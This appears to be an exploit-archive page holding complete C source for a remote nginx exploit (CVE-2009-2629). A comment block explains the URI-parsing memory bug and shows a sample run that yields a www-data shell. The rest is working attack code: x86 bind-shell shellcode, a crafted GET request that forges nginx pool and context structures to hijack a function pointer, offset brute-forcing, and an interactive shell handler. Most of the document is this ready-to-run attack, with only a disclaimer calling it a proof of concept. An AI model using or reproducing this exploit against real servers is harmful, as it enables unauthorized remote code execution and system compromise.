nginx remote exploit



EKU-ID: 120 CVE: 2009-2 OSVDB-ID:
Author: Chris Ries Published: 2011-04-29 Verified: Verified
Download:

Rating

★★★☆☆
Home


/***********************************************************
  * hoagie_nginx.c
  * REMOTE NGINX EXPLOIT
  * (< 0.5.37, < 0.6.39, < 0.7.62, < 0.8.15) - CVE-2009-2629
  *
  * Bug reported by
  * Chris Ries
  * Carnegie Mellon University Information Security Office
  *
  *
  * ngx_http_parse.c: ngx_http_parse_complex_uri()
  * ...
  * u -= 4;
  * if (u < r->uri.data) {
  *    return NGX_HTTP_PARSE_INVALID_REQUEST;
  * }
  * while (*(u - 1) != '/') {
  *    u--;
  * }
  *
  * The bug can be triggered when the character '/' is at index
  * 4 because then nginx will lookup all bytes before the url
  * in memory (u - 4 points to first character of the url and
  * u - 5 points to first character before the url)
  *
  * GET //../ HTTP/1.0
  *     ^   ^
  *     |   |
  *     |   u
  *     u - 4
  *
  * Note:
  * Since version 0.5.34 and 0.6.15 there is an option called
  * merge_slashes (that is on per default).
  *
  * $ ~/hn -d localhost -p 8888 -o 0x86B1043
  * hoagie_nginx.c - < 0.5.37, < 0.6.39, < 0.7.62, < 0.8.15 remote/local
  * -andi / void.at
  *
  * [*] connecting to localhost:8888 ...
  * [*] exploiting nginx with ctx buffer at 0x086b1043
  * Linux lenny 2.6.26-1-686 #1 SMP Fri Mar 13 18:08:45 UTC 2009 i686 GNU/Linux
  * id
  * uid=33(www-data) gid=33(www-data) groups=33(www-data)
  * $
  *
  * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
  * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
  * DAMAGE DONE USING THIS PROGRAM.
  *
  * VOID.AT Security
  * andi@void.at
  * http://www.void.at
  *
  ************************************************************/
 #include <stdio.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <string.h>
 #include <netdb.h>
 #include <time.h>
 #include <sys/socket.h>
 #include <sys/select.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>

#define DEFAULT_PORT            "80"
 #define INIT_COMMAND            "uname -a\n"

#define CTX_ADDRESS_LOCATION_OFFSET 0xa2
 #define CTX_LOCATION_OFFSET  0x47a

#define BUFFER_MAX_SIZE         0x1000

char shellcode[] =
    "\x31\xdb"                   // xor  ebx, ebx
    "\xf7\xe3"                   // mul  ebx
    "\xb0\x66"                   // mov     al, 102
    "\x53"                       // push    ebx
    "\x43"                       // inc     ebx
    "\x53"                       // push    ebx
    "\x43"                       // inc     ebx
    "\x53"                       // push    ebx
    "\x89\xe1"                   // mov     ecx, esp
    "\x4b"                       // dec     ebx
    "\xcd\x80"                   // int     80h
    "\x89\xc7"                   // mov     edi, eax
    "\x52"                       // push    edx
    "\x66\x68\x27\x10"           // push    word 4135
    "\x43"                       // inc     ebx
    "\x66\x53"                   // push    bx
    "\x89\xe1"                   // mov     ecx, esp
    "\xb0\x10"                   // mov  al, 16
    "\x50"                       // push eax
    "\x51"                       // push    ecx
    "\x57"                       // push    edi
    "\x89\xe1"                   // mov     ecx, esp
    "\xb0\x66"                   // mov     al, 102
    "\xcd\x80"                   // int     80h
    "\xb0\x66"                   // mov     al, 102
    "\xb3\x04"                   // mov     bl, 4
    "\xcd\x80"                   // int     80h
    "\x50"                       // push eax
    "\x50"                       // push eax
    "\x57"                       // push edi
    "\x89\xe1"                   // mov  ecx, esp
    "\x43"                       // inc  ebx
    "\xb0\x66"                   // mov  al, 102
    "\xcd\x80"                   // int  80h
    "\x89\xd9"                   // mov  ecx, ebx
    "\x89\xc3"                   // mov     ebx, eax
    "\xb0\x3f"                   // mov     al, 63
    "\x49"                       // dec     ecx
    "\xcd\x80"                   // int     80h
    "\x41"                       // inc     ecx
    "\xe2\xf8"                   // loop    lp
    "\x51"                       // push    ecx
    "\x68\x6e\x2f\x73\x68"       // push    dword 68732f6eh
    "\x68\x2f\x2f\x62\x69"       // push    dword 69622f2fh
    "\x89\xe3"                   // mov     ebx, esp
    "\x51"                       // push    ecx
    "\x53"                       // push ebx
    "\x89\xe1"                   // mov  ecx, esp
    "\xb0\x0b"                   // mov  al, 11
    "\xcd\x80";                  // int     80h

unsigned int prepare_buffer(char *buffer, unsigned int buffer_size,
                             unsigned int ctx_offset, char *shellcode,
                             unsigned int shellcode_length) {
    unsigned int pool_addr = ctx_offset + 0x38;
    unsigned int data_addr = pool_addr + 0x20;
    unsigned int shell_padding = 0x20;
    unsigned int shell_addr = data_addr + 0x4 + shell_padding;
    unsigned int i;
    unsigned int j;
    unsigned int buffer_offset;
    unsigned int buffer_length;

   memset(buffer, 0, buffer_size);

   buffer_offset = sprintf((char*)buffer, "GET //../");

   /* prepare pseudo nginx pool memory layout */
    memset(buffer + buffer_offset, 'A', CTX_LOCATION_OFFSET);
    buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET] = ctx_offset & 0xff;
    buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 1] = (ctx_offset >> 8) & 0xff;
    buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 2] = (ctx_offset >> 16) & 0xff;
    buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 3] = (ctx_offset >> 24) & 0xff;
    buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 4] = 0;
    buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 5] = 0;
    buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 6] = 0;
    buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 7] = 0;


    buffer_offset += CTX_LOCATION_OFFSET;

   /* ngx_output_chain_ctx_t { */
    /*    ngx_buf_t                   *buf; */
    /* src/core/ngx_output_chain.c:280 */
    /* for (cl = *chain; cl; cl = cl->next) { */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    ngx_chain_t                 *in; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    ngx_chain_t                 *free; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    ngx_chain_t                 *busy; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    unsigned                     sendfile; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    unsigned                     need_in_memory; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    unsigned                     need_in_temp; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    ngx_pool_t                  *pool; */
    buffer[buffer_offset++] = pool_addr & 0xff;
    buffer[buffer_offset++] = (pool_addr >> 8) & 0xff;
    buffer[buffer_offset++] = (pool_addr >> 16) & 0xff;
    buffer[buffer_offset++] = (pool_addr >> 24) & 0xff;
    /*    ngx_int_t                    allocated; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    ngx_bufs_t                   bufs; */
    /* typedef struct { */
    /* ngx_int_t    num; */
    /* size_t       size;*/
    /*} ngx_bufs_t;
     * so we need 8 bytes in this case
     */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    ngx_buf_tag_t                tag; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    ngx_output_chain_filter_pt   output_filter; */
    buffer[buffer_offset++] = shell_addr & 0xff;
    buffer[buffer_offset++] = (shell_addr >> 8) & 0xff;
    buffer[buffer_offset++] = (shell_addr >> 16) & 0xff;
    buffer[buffer_offset++] = (shell_addr >> 24) & 0xff;
    /*    void                        *filter_ctx; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /* } */

   /* append our pool memory structure (used by ctx structure) */
    /* struct ngx_pool_s { */
    /*    u_char               *last; */
    /*    will be used after return of memory allocation */
    /*  src/core/ngx_output_chain.c:322 */
    /*  cl->buf = in->buf; */
    buffer[buffer_offset++] = data_addr & 0xff;
    buffer[buffer_offset++] = (data_addr >> 8) & 0xff;
    buffer[buffer_offset++] = (data_addr >> 16) & 0xff;
    buffer[buffer_offset++] = (data_addr >> 24) & 0xff;
    /*    u_char               *end; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    ngx_pool_t           *current; */
    /* src/core/ngx_palloc.c:95 */
    /* p = pool->current; */
    buffer[buffer_offset++] = pool_addr & 0xff;
    buffer[buffer_offset++] = (pool_addr >> 8) & 0xff;
    buffer[buffer_offset++] = (pool_addr >> 16) & 0xff;
    buffer[buffer_offset++] = (pool_addr >> 24) & 0xff;
    /*    ngx_chain_t          *chain; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    ngx_pool_t           *next; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*    ngx_pool_large_t     *large; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*   ngx_pool_cleanup_t   *cleanup; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /*   ngx_log_t            *log; */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    /* }; */

   /* fill buffer that will be used for return from internal nginx alloc functions */
    /* data buffer */
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;
    buffer[buffer_offset++] = 0x00;

   memcpy(buffer + buffer_offset + shell_padding, shellcode, shellcode_length);
    buffer_offset += shellcode_length + shell_padding;

   buffer_length = sprintf((char*)buffer + buffer_offset, " HTTP/1.0\r\n\r\n");

   return buffer_offset + buffer_length;
 }

int connect_to(char *host, int port) {
    struct sockaddr_in s_in;
    struct hostent *he;
    int s;

   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
       return -1;
    }

   memset(&s_in, 0, sizeof(s_in));
    s_in.sin_family = AF_INET;
    s_in.sin_port = htons(port);

   if ( (he = gethostbyname(host)) != NULL)
        memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
    else {
        if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
           close(s);
           return -3;
        }
    }

   if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
       close(s);
       return -4;
    }

   return s;
 }

void usage(int argc, char **argv) {
    fprintf(stderr,
            "usage: %s [-d <host>] [-p <port>] [-b <range>] [-o <offset> \n"
            "\n"
            "-h        help\n"
            "-v        verbose\n"
            "-d host   HTTP server\n"
            "-p port   HTTP port (default: %s)\n"
            "-o offset memory address for user defined ctx buffer\n"
            "-b range  bruteforce range for ctx buffer\n"
            "\n"
            ,
            argv[0],
            DEFAULT_PORT);
    exit(1);
 }

void shell(int s) {
    fd_set fs;
    int r;
    char buffer[4096];

   FD_ZERO(&fs);
    FD_SET(0, &fs);
    FD_SET(s, &fs);

   while (select(s + 1, &fs, NULL, NULL, NULL)) {
       if (FD_ISSET(0, &fs)) {
          r = read(0, buffer, 1);
          if (r > 0) {
             write(s, buffer, r);
          }
       } if (FD_ISSET(s, &fs)) {
          r = read(s, buffer, sizeof(buffer));
          if (r > 0) {
             write(1, buffer, r);
          }
       }
       FD_ZERO(&fs);
       FD_SET(0, &fs);
       FD_SET(s, &fs);
    }
 }

void exploit(char *server, int port, unsigned int base_addr, char *shellcode,
              int shellcode_length) {
    char buffer[4096];
    unsigned int buffer_length;
    int s = connect_to(server, port);

   if (s > 0) {
       buffer_length = prepare_buffer(buffer, sizeof(buffer), base_addr,
                                      shellcode, shellcode_length);
       write(s, buffer, buffer_length);
       close(s);

      s = connect_to(server, 10000);
       if (s > 0) {
          write(s, INIT_COMMAND, strlen(INIT_COMMAND));
          shell(s);
          close(s);
       } else {
          fprintf(stderr, "[*] exploit failed (try using bruteforce (-b))\n");
       }
    } else {
       fprintf(stderr, "[*] connect to '%s:%d' failed\n", server, port);
    }
 }

int main(int argc, char **argv) {
    unsigned int base_addr = 0;
    unsigned int bruteforce_from = 0, bruteforce_to = 0;
    char *server = NULL;
    char *port = DEFAULT_PORT;
    char c;
    unsigned int idx = 0;

   fprintf(stderr,
            "hoagie_nginx.c - < 0.5.37, < 0.6.39, < 0.7.62, < 0.8.15 "
            "remote/local\n-andi / void.at\n\n");

   if (argc < 2) {
       usage(argc, argv);
    } else {
       while ((c = getopt (argc, argv, "hd:p:b:o:")) != EOF) {
          switch (c) {
             case 'h':
                  usage(argc, argv);
                  break;
             case 'd':
                  server = optarg;
                  break;
             case 'p':
                  port = optarg;
                  break;
             case 'b':
                  if (sscanf(optarg, "0x%x-0x%x",
                      &bruteforce_from, &bruteforce_to) != 1 ||
                      !bruteforce_from || !bruteforce_to) {
                     fprintf(stderr, "[*] invalid brute force range: '%s'\n",
                             optarg);
                  }
                  break;
             case 'o':
                  base_addr = 0;
                  if (sscanf(optarg, "0x%x", &base_addr) != 1 || !base_addr) {
                     fprintf(stderr, "[*] invalid base address: '%s'\n", optarg);
                  }
                  break;
             default:
                  fprintf(stderr, "[*] unknown command line option '%c'\n", c);
                  exit(-1);
          }
       }

      if (!server) {
          fprintf(stderr, "[*] server is missing\n");
       } else {
          printf("[*] connecting to %s:%s ...\n", server, port);
          if (base_addr) {
             printf("[*] exploiting nginx with ctx buffer at 0x%08x\n",
                    base_addr);
             exploit(server, atoi(port), base_addr, shellcode,
                     strlen(shellcode));
          } else {
             printf("[*] exploiting nginx with ctx buffer from "
                    "0x%08x to 0x%08x\n", bruteforce_from, bruteforce_to);
             for (base_addr = bruteforce_from; base_addr < bruteforce_to;
                  base_addr++) {
                printf("[*] exploiting nginx with ctx buffer at 0x%08x\n",
                       base_addr);
                exploit(server, atoi(port), base_addr, shellcode,
                        strlen(shellcode));
             }
          }
       }

    }

    return 0;
 }